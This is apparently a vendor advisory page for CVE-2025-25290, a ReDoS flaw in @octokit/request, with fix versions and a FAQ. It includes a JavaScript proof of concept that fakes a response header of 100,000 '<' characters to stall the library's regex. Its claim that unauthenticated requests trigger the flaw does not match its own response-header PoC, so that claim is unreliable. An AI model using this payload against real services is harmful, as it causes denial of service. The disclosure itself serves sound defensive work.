CVE-2025-25290

@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");

const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);

import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
  const response = await originalFetch(url, options);
  const fakeHeaders = new Headers(response.headers);
  fakeHeaders.set("link", "<".repeat(100000) + ">");
  fakeHeaders.set("deprecation", "true");
  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: fakeHeaders
  });
};
request("GET /repos/octocat/hello-world")
  .then(response => {
    // console.log("[+] Response received:", response);
  })
  .catch(error => {
    // console.error("[-] Error:", error);
  });
// globalThis.fetch = originalFetch;

This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code.
The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.
The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include:

• Web applications or APIs that rely on parsing headers for deprecation information.
• Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
• Service providers who may face disruption in operations or performance degradation due to this flaw.
  If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

CVE-2025-25290 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.2.1, 8.4.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2025-25290? CVE-2025-25290 is a medium-severity inefficient regular expression (ReDoS) vulnerability in @octokit/request (npm), affecting versions >= 9.0.0-beta.1, < 9.2.1. It is fixed in 9.2.1, 8.4.1. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. How severe is CVE-2025-25290? CVE-2025-25290 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @octokit/request are affected by CVE-2025-25290? @octokit/request (npm) versions >= 9.0.0-beta.1, < 9.2.1 is affected.
4. Is there a fix for CVE-2025-25290? Yes. CVE-2025-25290 is fixed in 9.2.1, 8.4.1. Upgrade to this version or later.
5. Is CVE-2025-25290 exploitable, and should I be worried? Whether CVE-2025-25290 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-25290 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-25290?
   • Upgrade @octokit/request to 9.2.1 or later
   • Upgrade @octokit/request to 8.4.1 or later